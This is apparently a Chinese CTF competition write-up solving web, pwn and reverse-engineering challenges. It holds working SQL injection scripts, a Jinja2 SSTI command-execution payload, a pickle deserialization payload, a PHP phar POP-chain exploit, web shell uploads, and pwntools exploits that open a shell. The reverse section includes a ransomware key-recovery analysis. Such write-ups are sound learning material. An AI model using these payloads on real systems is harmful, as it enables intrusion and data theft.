# CUMT国庆赛WP By None
## 1、Web
### sql1

使用'/**/||'1'='登录得到账户密码为Alice,123456
在information_schema.columns查表名库名和字段名得到flag位于当前数据库的flag_table_1表当中,字段名为flag
运行以下脚本获得flag
```python=
import requests
import time
baseurl='http://219.219.61.234:32769/index.php'
result=''
for i in range(4000):
time.sleep(0)
high = 127
low = 32
mid = (high + low) // 2
while high > low:
tmplate = {'username': 'Alice','password':''}
tmplate['password'] ='123456\'^if((ascii(right((select/**/group_concat(flag)/**/from/**/flag_table_1),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid)
payload=tmplate
response = requests.post(url=baseurl,data=payload)
if 'Alice' in response.text:
high = mid
else:
low = mid + 1
mid = (high + low)//2
result += chr(mid-1)
print(i, mid)
print(result[::-1])
```
### SQL2
测试发现sleep,if,information_schema,right,left,substr,substring,空格都被ban了,
不过至少select和union都还是好的,被ban了的函数和数据库我们可以找到替代方法:
1.使用benchmark()函数替代sleep函数
2.使用正则匹配的从字符串头普匹配,结合=替代ascii(substr((select/**/...),0,1)))这种逐个获取单个字符串并判断的方法
3.使用mysql.db代替information_schema获取表名列名,字段名有没有无所谓,可以使用无列名联合注入,而且一般来说存放flag的表大多为3~4个字段,并不用尝试太多次
先通过select/**/version()查找到mysql版本为8.0.26
通过select/**/version()查找到用户名为admin
通过版本数据库查询,可以利用mysql.db查出数据库名database_name和表名table_name
得知flag在数据库flagisHere的flAg表中
由于information_schema被过滤掉了,mysql和sys库中也没找到其他记录有列名的库,所以使用无列名注入
(直接在脚本的command输入要执行的查询命令即可)
```python=
import requests
import time
#map包含了常用于储存和输出数据的字符:0~9 A~Z a~z , _ ~ @ . 空格
map=[]
for i in range(ord('0'),ord('9')):
map.append(i)
for i in range(ord('a'),ord('z')):
map.append(i)
for i in range(ord('A'),ord('Z')):
map.append(i)
add=[ord('_'),ord(','),ord('~'),ord('@'),ord('.'),ord(' ')]
for i in add:
map.append(i)
baseurl='http://219.219.61.234:54380/login.php'
temp=''
map.append(0)#0是结束位,轮到0时表示前面的字符都不合适
for i in range(100):
for i in map:
p1="'^(select/**/group_concat(1,2,user(),BENCHMARK(10000000,'test'))/**/from/**/mysql.db/**/where(("
p2=")/**/regexp/**/'^{num}'))||'"
#command="select/**/version()"
#command="select/**/user()"
command="select/**/(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/flagisHere.flAg)x)"
tmplate = {'username': p1+command+p2,'password':''}
right=temp+chr(i)#从左向右逐个探测字符
t=right
tmplate['username']=tmplate['username'].format(num=t)
time1=time.time()
response = requests.post(url=baseurl,data=tmplate)
time2=time.time()
print( t,'\t')
if time2-time1>0.15:
temp=t
print(temp)
break
if i==0:
print('end')
a=input()
print(temp)
```
### WEB4
同sql1
```python=
import requests,time
baseurl='http://81.69.241.44:25500/'
result=''
for i in range(4000):
time.sleep(0)
high = 127
low = 32
mid = (high + low) // 2
while high > low:
tmplate = {'username': 'Alice','password':''}
#tmplate['password'] ='123456\'^if((ascii(right((select/**/group_concat(table_name,\'.\',column_name,\'|\')/**/from/**/information_schema.columns/**/where/**/(1<>(table_schema<>database()))),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid)
tmplate['password'] = '123456\'^if((ascii(right((select/**/group_concat(flag)/**/from/**/flag_table_1),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid)
payload=tmplate
response = requests.post(url=baseurl,data=payload)
if 'good' in response.text:
high = mid
else:
low = mid + 1
mid = (high + low)//2
result += chr(mid-1)
print(i, mid)
print(result[::-1])
```
### SSTi
输入{{7*7}}得到回显49,猜测为jinja2的ssti注入,使用tplmap测试确实为jinja2,不过并不能从tplmap工具直接获取命令执行权限,手工测试发现[]和__都被禁了,不过config还可以得到正常回显,通过联合利用|attr()和reques.args配合GET传参逐步
逐步探测得到以下获取popen函数并执行的过程:
config.__class__.__base__.__base__.__subclasses__().__getitem__(245).__init__.__globals__.__getitem(__builtins__).__getitem__(eval)(__import__('os')..popen('cat /flag'))
构造出以下payload获取flag
> http://219.219.61.234:48000/hello?name={{config|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)|attr(request.args.d)()|attr(request.args.e)(245)|attr(request.args.f)|attr(request.args.g)|attr(request.args.h)(request.args.i)|attr(request.args.j)(request.args.k)(request.args.l)}}&a=__class__&b=__base__&c=__base__&d=__subclasses__&e=__getitem__&f=__init__&g=__globals__&h=__getitem__&i=__builtins__&j=__getitem__&k=eval&l=__import__(%22os%22).popen(%22cat%20/flag%22).read()
### ez_upload
1.看题
进入界面得到include 'file'显然是提醒会包含file参数的文件,猜测应该是文件包含题
2.访问robots.txt
得到上传文件的地方:up10de.php
结果上传测试后发现只能上传png,jpeg,gif的图片,而且简单以GIF89a的文件马并不能蒙混过关,而且会提示函数报错,看样子是会图片渲染,失败了就直接jj,直接上传失败
3.通过上传正常文件图片,然后写入木马,这样子可以上传成功,下载图片发现虽然看起来图片渲染后无变化,但是通过010打开会发现里面的数据已经面目全非了
4.寻找数据没有被改变的区域插入一句话木马,我用的是gif图片,下载后看到写入的🐎确实还在
5.最烦的地方来了,找传参file的地方,我直接裂开,找了半天后面才知道默认首页就是传参的地方,因为之前我上传的图片在默认首页file传参后include丝毫没有一点反应是因为图片渲染失败(貌似是)就会让页面没有一点变化,后面通过删减图片数据段解除include的出错,成功getshell
6.5.图片马(下载上传即可使用post传shell参数执行命令)这个是图片马,下载可用:
### web6
(cookies+python反序列化pickle)
根据题目提示cookie,复制cookie进行base64解码看到一个cumter,而页面显示就是hello cumter,所以这就导致了见识窄的我以为是SSI或XSS漏洞,试了几个poc没反应,到网上找了一堆exp但是没一个有用的,最后在放出hint:pickle后才知道这个是pickle的python反序列化
去了解学习了pickle.loads()的反序列化过程和发序列化语句后构造payload,但是当时测试发现貌似如果发序列化后{'username':''}其中的value如果是非string根本不会有回显,不过一点小曲折过后学会了builtins.getattr()这个万金油函数后成功构造payload:
>
POC:
(dp0
Vusername
p1
cos
popen
(Vcat /flag
tRp2
0cbuiltins
getattr
(g2
Vread
tRp3
(tRp4
s.
#base64加密后为:KGRwMApWdXNlcm5hbWUKcDEKY29zCnBvcGVuCihWY2F0IC9mbGFnCnRScDIKMGNidWlsdGlucwpnZXRhdHRyCihnMgpWcmVhZAp0UnAzCih0UnA0CnMu
burp抓包修改一下cookie即可获得flag
以下为本地测试脚本:
```python=
import pickle,base64
a='KGRwMApWdXNlcm5hbWUKcDEKY29zCnBvcGVuCihWZGlyCnRScDIKMGNidWlsdGlucwpnZXRhdHRyCihnMgpWcmVhZAp0UnAzCih0UnA0CnMu'
test=pickle.loads(base64.b64decode(a))
print(test)
print(test['username'])
```
### web5
phar文件上传
在/file.php?show=页面获取到base.php,class.php,function.php,upload.php,file.php的源码打包到source.zip中分析,显示文件的只有Show的highlight_file函数和Cloud的base64_encode(file_get_contents($this->value))以为highlight_file的flag字符串被过滤了,所以只能考虑Cloud类的file_get_contents
分析class.php可以发现能通过构造pop链触发file_get_contents函数,但是没有接口对类进行反序列化,结合文件上传的题目环境可知,应该是上传phar文件并通过phar://协议读取上传的phar文件,触发反序列化漏洞,得到poc:
```php=
<?php
// use File as GlobalFile;
// class File{
// public $fakefile;
// public $file;
// public function __construct($file)
// {
// $this->fakefile='fake';
// $this->file = $file='test';
// }
// public function __destruct()
// {
// $this->file=$this->fakefile;
// echo $this->file;
// }
// }
// class Show{
// public $filename;
// public function show()
// {
// if(preg_match('/\.\.|flag/i',$this->filename)) {
// die('hacker!');
// } else {
// highlight_file($this->filename);
// }
// }
// }
// class Docker{
// public $str;
// public $container1;
// public $container2;
// function __toString()
// {
// if (isset($this->str))
// return $this->str->get_file();
// }
// }
// class Cloud{
// private $value;
// public $docker;
// function get_file(){
// $this->test=unserialize($this->docker);
// if($this->test->container1===$this->test->container1){
// $text = base64_encode(file_get_contents($this->value));
// return $text;
// }
// }
// }
//---------------------------------上面为class.php源码下面为POC-----------------------------------------------------
class File{
public $fakefile;
public $file;
public function __destruct()
{
$this->file=$this->fakefile;
echo $this->file;
}
}
class Docker{
public $str;
public $container1;
public $container2;
function __toString()
{
if (isset($this->str))
return $this->str->get_file();
}
}
class Cloud{
private $value;
public $docker;
function __construct()
{
$this->value='/var/www/html/flag.php';//var/www/html路径可以在show.php处测试得到
}
function get_file(){
$this->test=unserialize($this->docker);
if($this->test->container1===$this->test->container1){
$text = base64_encode(file_get_contents($this->value));
return $text;
}
}
}
$file=new File();
$docker=new Docker();
$cloud=new Cloud();
$docker1=new Docker;
$docker1->container1='1';
$cloud->docker=serialize($docker1);
$docker->str=$cloud;
$file->fakefile=$docker;
echo serialize($file);
//unserialize(serialize($file));//测试输出本地的/var/www/html/flag.php文件
$phar = new Phar("1.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($file);
$phar->addFromString("test.txt", "test");
//生成签名
$phar->stopBuffering();
```
分析文件可知上传的png,jpg,jpeg,gif文件的文件名会被经过md5加密后加上.jpg然后上传到文件夹./upload/
运行上面脚本生成1.phar文件后改名为1.png后上传
访问/show.php,使用phar://伪协议加载上传的phar文件4a47a0db6e60853dedfcfdf08a5ca249.jpg(1.png结果md5重命名后的文件名)
访问/show.php?file=phar://./upload/4a47a0db6e60853dedfcfdf08a5ca249.jpg
得到flag.php的base64编码后的结果
解码得到flag
####sql2
### web7
Weblogic(weak_password)任意文件读取、口令破解、文件上传,漏洞复现,
进入题目提示读取password,然后可以进入console,到console发现是一个Oracle的weblgic登录平台,另外给了任意文件读取漏洞的入口file.jsp,到网上查找weblogic的相关漏洞信息,找到与当前题目相对吻合的漏洞复现文章:
复现过程主要包括主要包括:
利用任意文件读取漏洞获取SerializedSystemIni.dat和config/config.xml
1.直接访问/hello/file.jsp?path=security/SerializedSystemIni.dat和/hello/file.jsp?path=config/config.xml
获得密码经AES加密后的密文和加密使用的AES数据
(<node-manage-password-encrypted>标签里面的数据)
2.注意:网上直接访问下载的二进制数据会有问题,应该属于burp抓包然后保存数据到文件即可
3.到https://github.com/TideSec/Decrypt_Weblogic_Password下载解密工具
4.加载\Tools5-weblogic_decrypt里面的jar文件打开工具,选取保存的二进制文件和AES数据解密获得密码
5.部署有jsp马的war
6.访问jsp马路径,成功getshell获取根目录下存放的flag的文件
详细过程可参考[https://blog.csdn.net/cscscys/article/details/107856619](https://)
## 2、PWN
### pwn1
nc 连上 直接cat flag
### pwn2
经典栈溢出

```python
from pwn import *
#r=process("./pwn2")
r=remote('1.15.81.218',10001)
p=b'a' * 72 + p64(0x400596)
r.sendline(p)
r.interactive()
```
直接传就行了...
### pwn3
开了NX保护,没开金丝雀

有个echo flag,感觉像是那么回事,实际上没用,
所以还是得通过system函数来搞

这里s大小是0x28,所以只能溢出0x8字节,不够写太长的,但是这里可以读两次,所以思路是第一次泄露ebp地址,第二次写入system(‘/bin/sh’),然后用leave;ret栈劫持s,执行system('/bin/sh')
要劫持s要知道s的地址,可以通过动调知道ebp到s的距离,然后计算
ebp到s的距离为0xffffc1f8 - 0xffffc1c0 = 0x38
所以ebp:
```python
p = b'a'*0x27+b'b'
r.send(p)
r.recvuntil(b'b')
ebp = u32(r.recv(4))
```
可以得到ebp的地址,然后-0x38得到s
完整exp:
```python
from pwn import *
r=process('./pwn3')
#r=remote('1.15.81.218',10002)
sys_addr=0x8048400
leave_ret=0x08048562
main_addr=0xdeadbeef
p=b'a'*0x27+b'b'
r.send(p)
r.recvuntil(b'b')
s_addr=ebp=u32(r.recv(4))-0x38 # ebp-s=0x38
print(s_addr)
p2=b'aaaa'+p32(sys_addr)+p32(main_addr)+p32(s_addr+0x10)+b"/bin/sh"
p2=p2.ljust(0x28,b'\x00') # /bin/sh添上\x00
p2+=p32(s_addr)+p32(leave_ret) # hijack s
r.send(p2)
r.interactive()
```
### brute?
brute canary,暴力破解金丝雀
```python
from pwn import *
from LibcSearcher import *
#r = process('./brute')
r=remote('1.15.81.218',20000)
canary = b'\x00'
def find():
global canary,r
#r = process('./brute')
r=remote('1.15.81.218',20000)
print(r.recvuntil(b'2021!\n'))
canary = b'\x00'
for j in range(3):
for i in range(0x100):
r.send(b'a'*100 + canary + bytes(chr(i).encode()))
a = r.recvuntil(b'2021!\n')
if b'Successfully' in a:
canary += bytes(chr(i).encode())
print(canary)
break
if(len(canary)!=4):
find()
find()
print(canary)
elf = ELF('./brute')
system = elf.plt['system']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x08048560
p1 = b'a' * 100 + canary +b'a'*12+ p32(puts_plt) + p32(main) + p32(puts_got)
#print(r.recvuntil(b'2021!\n'))
r.sendline(p1)
puts_addr = u32(r.recv()[0:4])
print('puts_addr:',puts_addr)
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
p2 = b'a' * 100 + canary +b'a'*12+ p32(sys_addr) + b'a' * 4 + p32(bin_sh)
r.sendline(p2)
r.interactive()
```
爆破好慢...
CUMTCTF{5305918b-e080-4f2d-b9b1-8a6f3ed727d5
### pwn4
edit的地方有个堆溢出漏洞
l33t是后门函数,想要触发需要使位于bss的(unsigned __int64)magic > 0x1305
unsorted bin attack,修改magic的值为unsorted bin的地址,可以使magic > 0x1305
...
被坑了。。。
竟然不是这个目录。。。。。。。。。。。
然后打算修改一下system指令的字符串,发现这个字符串被存在rodata,只读

只能重新搞
想办法控制heaparray,
用fake chunk修改heaparray[0]为free_got的地址,然后用edit()修改free_got为system的地址
接下来就free掉一个存了 /bin/sh\x00 的chunk,这样就可以getshell了,这个可以事先创建好这样的一个chunk来实现,然后用delete_heap调用free
fake chunk的话,可以再搞两个chunk,free第一个chunk,然后修改另一个造成堆溢出来修改第一个chunk的fd指针,使其指向fake chunk
```python
from pwn import *
#r=process("./pwn4")
r=remote('1.15.81.218', 10003)
elf=ELF("./pwn4")
heaparray=0x006020E0
fake_fastbin=0x6020ad
system_addr=0x400C2C
free_got=elf.got["free"]
def create(size,content):
r.recvuntil("Your choice :")
r.sendline(str(1))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline(content)
r.recvuntil("SuccessFul")
def delete(index):
r.recvuntil("Your choice :")
r.sendline(str(3))
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("Done !")
def edit(index,size,content):
r.recvuntil("Your choice :")
r.sendline(str(2))
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap : ")
r.sendline(content)
r.recvuntil("Done !")
create(0x10,b'a' * 0x10) # idx0
create(0x10,b'a' * 0x10) # idx1
create(0x60,b'b' * 0x10) # idx2
create(0x10,b'/bin/sh\x00') # id3
delete(2)
edit(1,0x30,0x10 * b'a' + p64(0) + p64(0x71) + p64(0x6020ad) + p64(0))
create(0x60,b'd' * 0x10) # idx1
p=0x23 * b'e' + p64(free_got)
create(0x60,p) # idx4
edit(0,0x8,p64(0x400C2C))
r.recvuntil(b"Your choice :")
r.sendline(str(3))
r.recvuntil(b"Index :")
r.sendline(str(3))
r.interactive()
```
## 3、Reverse
### 签到
拖进IDA就能看到flag
### net

.net逆向,输入主要处理函数如上,涉及到取模不好逆推,直接爆破。
```python=
a=[30361,550,595,15412,30361,15412,8346,27071,37594,37534,9781,1082,19619,9781,1082,15513,29591,19596,30078,27942,25366,29107,7433,28493,9781,29591,2664,12540]
k=[]
def dunc(a,b,c) :
num=1
a %= c
while (b != 0):
flag = b % 2 == 1
if flag:
num = num * a % c
b >>= 1
a = a * a % c
return num
for j in range(len(a)):
for i in range(255):
if dunc(i,377,38009)==a[j]:
k.append(i)
for m in k:
print(chr((m-28)&0xff),end='')
```
### easyAPK
原本是一个有360加固的题,网上搜索能找到脱壳的方法,这里我用的BlackDEX32配合MT和NP管理器进行脱壳。

不过脱壳之后用jadx没找到关键点,搜索check和Try again也没找到,不过在smail里面发现了端倪,用jeb加载一下能看到大致逻辑和后面减弱难度后的逻辑类似,但是拼的是哪个字符串看不出来=.=。

后面放的难度就是白给了,无壳直接找到字符串即可,最后一个在native层。
first → We1c0me

We1c0me_t0_easyAPK
### vm
刚开始是filter,看sys里面的代码硬看理不清逻辑,很多下标的跳转,自己也不会动调这个文件。之后换成了windos文件,逻辑看起来就比较清楚,有个switch并且有个Byte数组在内存中很整齐有点类似机器码。所以采用了vm技术,调度器和opcode都比较少,不写脚本通过静态就能分析出,开始4个是寄存器,之后根据opcode一条条执行,简化后的算法就是a+b==xxx 和 a*b=xxx的比较,解出来的顺序根据自己动调时的比较调一调即可,懒得看了。
```python=
a=[0x41, 0x10, 0x72, 0x61, 0x00, 0x00, 0x00, 0x50, 0x40, 0x20,
0x41, 0x40, 0x04, 0xB0, 0x9F, 0x94, 0x62, 0x70, 0x61, 0x00,
0x00, 0x00, 0x50, 0x40, 0x30, 0x01, 0x40, 0x04, 0x87, 0x4F,
0x57, 0x94, 0x70, 0x61, 0x00, 0x00, 0x00, 0x40, 0x05, 0x19,
0x88, 0x7D, 0x09, 0x70, 0x61, 0x00, 0x00, 0x00, 0x41, 0x23,
0x71, 0x61, 0x00, 0x00, 0x00, 0x50, 0x42, 0x20, 0x43, 0x40,
0x04, 0x7F, 0xBD, 0xAB, 0xA3, 0x70, 0x61, 0x00, 0x00, 0x00,
0x50, 0x42, 0x30, 0x03, 0x40, 0x04, 0xEE, 0x5F, 0x71, 0xEF,
0x70, 0x61, 0x00, 0x00, 0x00, 0x40, 0x05, 0xBC, 0xD3, 0x04,
0x16, 0x70, 0x61, 0x00, 0x00, 0x00, 0xFE, 0xFF]
print((0x10>>4)%6)
print((0x10&0xf)%6)
print((0x40>>4)%6)
print((0x40&0xf)%6)
print((0x41>>4)%6)
print((0x41&0xf)%6)
print(chr(ord('0')+ord('4')))
#b[1]+b[4]==0x62949fb0
#即b[0]+b[1]=0x62949fb0
# 0x50 + 0x40 是b[4]=b[0]
#0x30 + 0x01 是
#b[4]*b[1]= b[0]*b[1]=0x94574f87
#0x70 0x61 0x00 0x00 0x00 0x00
#进行check 如果相等就继续 不等就结束
#0x40 +0x05 后面是 第六部分的比较.
#0x19,0x88, 0x7D, 0x09
#0x41 + 0x23要求 b[2] != b[3]
print((0x42>>4)%6)
print((0x42&0xf)%6)
#0x50 + 0x42 是把第三部分赋值给第五部分
#0x20+0x43
print((0x43>>4)%6)
print((0x43&0xf)%6)
#第五部分 与 第4部分相加 b[4]+b[3]=
#之后比较 0x7F, 0xBD, 0xAB, 0xA3
#0x50 +0x42 #第三部分赋值
#0x30+0x03 是 b[4]*b[3] =
#之后比较 0xEE, 0x5F, 0x71, 0xEF 注意小端序
#0x40+0x05 是 第六部分 和 0xBC, 0xD3, 0x04,0x16比较
```
直接硬读opcode边条边读,知道0x30,0x20,0x40,0x70开头代表什么指令后就比较简单了。
```python=
from z3 import *
import gmpy2
from Crypto.Util.number import *
a1=BitVec('a1',32)
a2=BitVec('a2',32)
a3=BitVec('a3',32)
a4=BitVec('a4',32)
s=Solver()
s.add((a1+a2)&0xffffffff==0x62949fb0)
s.add((a1*a2)&0xffffffff==0x94574f87)
s.add((a3+a4)&0xffffffff==0xa3abbd7f)
s.add((a3*a4)&0xffffffff==0xef715fee)
s.check()
print(s.model())
print(long_to_bytes(2974637891)[::-1])
print(long_to_bytes(2974236781)[::-1])
print(long_to_bytes(826689870)[::-1])
print(long_to_bytes(1919251505)[::-1])
a='4d5f43'
b='47406d'
for i in range(0x80):
a1=hex(i).zfill(2)+a
for j in range(0x80):
b1=hex(i).zfill(2)+b
c=int(a1,16)
d=int(b1,16)
if (c+d)&0xffffffff ==0x62949fb0 and (c*d)&0xffffffff ==0x94574f87:
print(long_to_bytes(c)[::-1],long_to_bytes(d)[::-1])
break
```
当时感觉乘法可能会有越界,所以直接用z3解,不过有不可见字符,最后在小范围下爆破不可见就行,做麻烦了,不想改了,以后绝对求根公式。
#flag{m@G1C_M1NIF11ter}
### pthread
运行一下,缺少pthread.dll文件,百度下载就行,之后查壳,ASPack壳,脱壳机对应版本的没找到,32位exe直接丢进OD用esp脱壳定律,如果是在XP以后的版本脱壳,基址会有所改变,OD中按m查看PE文件的基地址在dump时候改一下即可,oddump出的文件调不起来有点难受,或许要用ImportREC修复一下。
直接拖进IDA中查看源码,有很多小细节容易犯错,写在注释里了。


整体逻辑就是先异或,之后从0开始取出当前字节的1 3 5 7位(下标从0开始,从右往左),和下一个字节的0 2 4 6位重组为一个,然后5个一组,一共5大组。
还原exp,也想到会不会线程的顺序并不是按照顺序来的,不过也就是换一下明文的顺序就好。
```python=
from itertools import permutations
enc=[0x0d,0x5b,0x5e,0x21,0x69,0x25,0x4f,0x5d,0x4d,0x3d,0x6b,0x1b,0x5a,0x17,0x43,0x32,0x68,0x38,0x5e,0x4f,0xc,0x23,0x7e,0x25,0x7c]
def decrypt(enc):
for i in range(len(enc)):
if i==0:
a=bin(enc[len(enc)-1])[2:].zfill(8)[-4:]
else:
a=bin(enc[i-1])[2:].zfill(8)[-4:]
b=bin(enc[i])[2:].zfill(8)[:4]
m=''
for j in range(4): #...开始写成i了
m+=b[j]+a[j]
print(chr(int(m,2)^(i)),end='')
#print()
cbox=[]
for i in range(len(enc)//5):
cbox.append(enc[5*i:5*i+5])
for i in range(5):
decrypt(cbox[i])
#Are_-Y0ur_-FeE1_-HapPY-_?
```
### ill formed
这个题是真的宝藏题目,32位程序IDA载入,一开始看不出啥逻辑,猜测是用了混淆或者是花指令,结果都不是=.=

看到这里,联想到一个知识点,retf 是修改ip 和 cs的值 而在修改前push了 0x33 并且通过call押进去返回地址,然后对返回地址值加5,最后retf ,所以最终cs的值是0x33 , 而cs=0x33也意味着接下来要以64位来解析代码,所以这是在32位程序中调用了64位程序。
想着直接修改PE文件标志文件位数的标识来拖入IDA64中分析一波,可是后来还有类似这种切换,又从64回到了32,所以IDA64中的解析也是错误的。0x10B改为0x20B

参考网上的古老讲解https://www.163.com/dy/article/E8SMV14K0511FSTO.html。 IDC脚本之后会用到。
这篇文章整体意思就是要么就能让他F5反编译,在32和64位间切换,要么就是要动调起来猜测过程,=.=我都没有实现。
那就回到老本行,直接硬逆,用里面的IDC脚本dump出一段64位的程序,拖入IDA64中查看。
```c=
static main(void) {
auto fp, begin, end, dexbyte;
fp = fopen("D:\111.mem", "wb");
begin = 0x0040116C; end = 0x004012D6;
for ( dexbyte = begin; dexbyte < end; dexbyte ++ )
fputc(Byte(dexbyte), fp); }
```

不要老想着F5反编译,汇编一般最接近真实的逻辑,看了眼汇编用到了64位的寄存器r8和r9,然后结合32位的代码大多是赋值操作,结合32位下的寄存器是32位,并且flag只有16字节,所以猜出是直接将flag分为4段,然后传入64位下用两个64的寄存器来存储。

这个是我直接修改pe标识在64位ida下把每个64位代码定义为函数的结果,这个反编译有错误,只需要看大致的加密结构。有点像密码学中的festil轮函数,每次只对r8寄存器和r9寄存器计算后的值异或,一共有6轮,并且每次的循环次数不一样。分析一下汇编,发现天堂之门,rbx寄存器是64位,也就是把传入的eax,ebx,ecx,edx 4个4字节变成两个8字节来处理,处理6轮,每轮的循环次数都不一样,主要就是异或和交换,尝试逆一下

exp
```python=
from Crypto.Util.number import *
eax=0x7457B95A
ebx=0xC7638E3C
ecx=0x4E66BC65
edx=0xDD0F9728
dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0xc013):
dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff
dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0x55bf):
dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff
dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0xc109):
dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff
dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0x19e4):
dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff
dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0x7a20):
dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff
dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0x5b24):
dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff
print(long_to_bytes(eax)[::-1].decode(),end='')
print(long_to_bytes(ebx)[::-1].decode(),end='')
print(long_to_bytes(ecx)[::-1].decode(),end='')
print(long_to_bytes(edx)[::-1].decode(),end='')
#W@y_TO_ThEHe@V3N
```
### ransomeware
勒索病毒分析,最近挺热们的一个考点,不过学长混入了npc,模拟了小白被勒索病毒攻击,怎么帮他解决问题的过程。
有很多地方有异或的操作,所以在调之前拿到python中异或一下,看是不是明文
```python=
v11 -> Incredible! But you'll stop here
v14 -> C:\flag.docx
v10 -> SOFTWARE\Microsoft\Cryptography
v12 ->
v14 -> ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-
{6EDD 6D74-C007-4E75-B76A-E5740995E24C}
E le va ti on :A dm in is tr at or !n ew :{ 3E 5F C7 F9 -9 A5 1- 43 67 -9 06 3- A1 20 24 4F BE C7 }
#在前面的一个函数感觉是要拿到权限
```
开始没有思路,感觉有啥smc或者花指令的,但并没有,并且根据这些异或的字符串拿到了很多信息,根据以往的勒索病毒,大概是在c:/创建 flag.docx 之后才能开始调,中间貌似看到了salsa20加密。

salsa20加密,搜索expand 32-byte k 就能找到
http://www.crypto-it.net/eng/symmetric/salsa20.html
确实能调起来,但是遇到dword .data段的当函数名 。。而且值是0 ,一调就崩溃了,大概是ida的锅,毕竟用OD好好的,可以大致在ida中看清加密的结构,因为加密算法没有魔改还是流密码,所以我们只要拿到两个随机数,之后patch掉随机生成的在进行一次加密就完成了解密。
随机数可能和flag加密文件后缀的base64有关,因为base解密后是8字节,而那两个随机数正好是两个4字节,不过base也被换表了,并且有对随机数的异或处理。

对随机数的处理,在a1字符串中每次索引一个 和 a2即传入的参数循环右移动13位后的数加起来,循环len(a1)+1次不过有个坑,‘\0’也算一次,通过OD动调了解到a1是本机的GUID码,通过自己本机测试可以现在本地恢复自己加密的文件。
```python=
import base64
from Crypto.Util.number import *
newtable='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-'
table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s='n8OKZcEVdSp='
m=''
for i in range(len(s)):
m+=table[newtable.find(s[i])]
print(hex(bytes_to_long(base64.b64decode(m))))
def ror13(n):
s=bin(n)[2:].zfill(32)
tmp=s[-13:]+s[:-13]
#print(hex(int(tmp,2)))
return int(tmp,2)
key='0bebe7bc-793f-4ccf-be83-9f6b9b4de948'
n=[0]*(len(key)+1)
for i in range(len(key)):
n[i+1]=(ord(key[i])+ror13(n[i]))&0xffffffff
print(hex(ror13(n[-1])))
k=[0]*(len(key)+1)
k[0]=0x15dca90b #第一个随机数
for i in range(len(key)):
k[i+1]=(ord(key[i])+ror13(k[i]))&0xffffffff
#for i in k:
# print(hex(i))
print(hex(ror13(k[-1]))) #最后一步还有操作
```
本地是可以打通的,但要想解该题的话,核心就是拿到出题人在生成文件时的随机数,我们知道随机数的生成过程,所以只要只要知道出题人的MachineGuid码即可,学长为了模拟真实场景,中间插个啥也不会的NPC就很有趣。

加npc qq指导他拿到guid码,之后便对附件的文件解密。
```python=
import base64
from Crypto.Util.number import *
newtable='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-'#换和不换对本题影响不大
table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s='sbJXsFrM2zF='
m=''
for i in range(len(s)):
m+=table[newtable.find(s[i])]
print(hex(bytes_to_long(base64.b64decode(m))))
#b1b257b0 5accdb31
def ror13(n): #循环右移13
s=bin(n)[2:].zfill(32)
tmp=s[-13:]+s[:-13]
#print(hex(int(tmp,2)))
return int(tmp,2)
key='2aa2d31e-751e-4a33-8542-62c8bacedaf6'
n=[0]*(len(key)+1)
for i in range(len(key)):
n[i+1]=(ord(key[i])+ror13(n[i]))&0xffffffff
print(hex(ror13(n[-1]))) #可以通过动调发现 他是
#还原第一个随机数
print('r1=',hex(0xb057b2b1^0x51e64a7b))
k=[0]*(len(key)+1)
k[0]=0xe1b1f8ca #第一个随机数
for i in range(len(key)):
k[i+1]=(ord(key[i])+ror13(k[i]))&0xffffffff
#for i in k:
# print(hex(i))
print(hex(ror13(k[-1]))) #最后一步还有操作
#0xebb9f8f6
#0x1a4a41e5
print('r2=',hex(0xc2bf46e0^0x31dbcc5a))
```
注意小端,拿到r1和r2

OD动调,修改eax的值来修改两个随机数,之后直接F9便对原文件解密成功。
## 4、Crypto
### 签到
